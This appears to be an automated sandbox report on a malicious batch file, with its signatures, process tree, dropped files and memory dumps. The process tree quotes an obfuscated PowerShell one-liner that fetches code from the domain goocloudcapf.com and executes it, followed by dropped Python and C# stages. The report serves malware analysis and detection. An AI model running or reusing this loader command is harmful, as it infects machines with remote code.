Analysis
- max time kernel
148s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
07/10/2026, 04:46
General
- Target command.bat
- Size 171B
- Sample261007-fd5s9abz3s
- SHA256 567809d8a76be047cc0b467439a7fde0e8f3c213f8ffc44a3dff33dce26ff1f8
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 22 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\command.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -c "&((Get-Command|?{$_.Name -match ('vok.'+'*Re'+'st')})[0].Name)('goocloudcapf.com')|& ((Get-Command|?{$PSItem.Name -match 'vok.*Ex'})[0].Name)"2⤵
- Badlisted process makes network request
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vcg0drg0\vcg0drg0.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES56B1.tmp" "c:\Users\Admin\AppData\Local\Temp\vcg0drg0\CSC22916C11AE4A417AB368CD99FB093.TMP"4⤵
-
-
-
C:\Users\Admin\AppData\Local\.g19d81215012\py-embed\312\python.exe"C:\Users\Admin\AppData\Local\.g19d81215012\py-embed\312\python.exe" -X utf8 C:\Users\Admin\AppData\Local\Temp\ch_w_ff77feeda7db478e95b0579b9824cdf1.py3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\.g19d81215012\py-embed\312\python.exeC:\Users\Admin\AppData\Local\.g19d81215012\py-embed\312\python.exe -X utf8 C:\Users\Admin\AppData\Local\Temp\chk_3393065fdc159251.py4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_ssl.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
python.exe
python3.DLL
python312._pth
python312.dll
python312.zip
select.pyd
unicodedata.pyd
RES56B1.tmp
__PSScriptPolicyTest_nipfwvlg.1dm.psm1
ch_w_ff77feeda7db478e95b0579b9824cdf1.py
chk_3393065fdc159251.py
vcg0drg0.dll
CSC22916C11AE4A417AB368CD99FB093.TMP
vcg0drg0.0.cs
vcg0drg0.cmdline
memory/2872-151-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-25-0x000001A2E9930000-0x000001A2E994E000-memory.dmp
memory/2872-50-0x000001A2EA4A0000-0x000001A2EA662000-memory.dmp
memory/2872-46-0x000001A2E98F0000-0x000001A2E98F6000-memory.dmp
memory/2872-0-0x00007FFD6AFFF000-0x00007FFD6B000000-memory.dmp
memory/2872-63-0x000001A2E9900000-0x000001A2E9908000-memory.dmp
memory/2872-40-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-39-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-38-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-66-0x000001A2E9950000-0x000001A2E9962000-memory.dmp
memory/2872-67-0x000001A2E98E0000-0x000001A2E98EA000-memory.dmp
memory/2872-37-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-36-0x000001A2E9980000-0x000001A2E999C000-memory.dmp
memory/2872-31-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-43-0x000001A2E9980000-0x000001A2E9988000-memory.dmp
memory/2872-49-0x000001A2E9900000-0x000001A2E990A000-memory.dmp
memory/2872-19-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-20-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-30-0x000001A2E9940000-0x000001A2E994A000-memory.dmp
memory/2872-18-0x000001A2E9900000-0x000001A2E990A000-memory.dmp
memory/2872-15-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-14-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-13-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-11-0x000001A2E9BC0000-0x000001A2E9C72000-memory.dmp
memory/2872-12-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-10-0x000001A2E98F0000-0x000001A2E990E000-memory.dmp
memory/2872-7-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-6-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-5-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp
memory/2872-3-0x000001A2E9850000-0x000001A2E9872000-memory.dmp
memory/2872-4-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp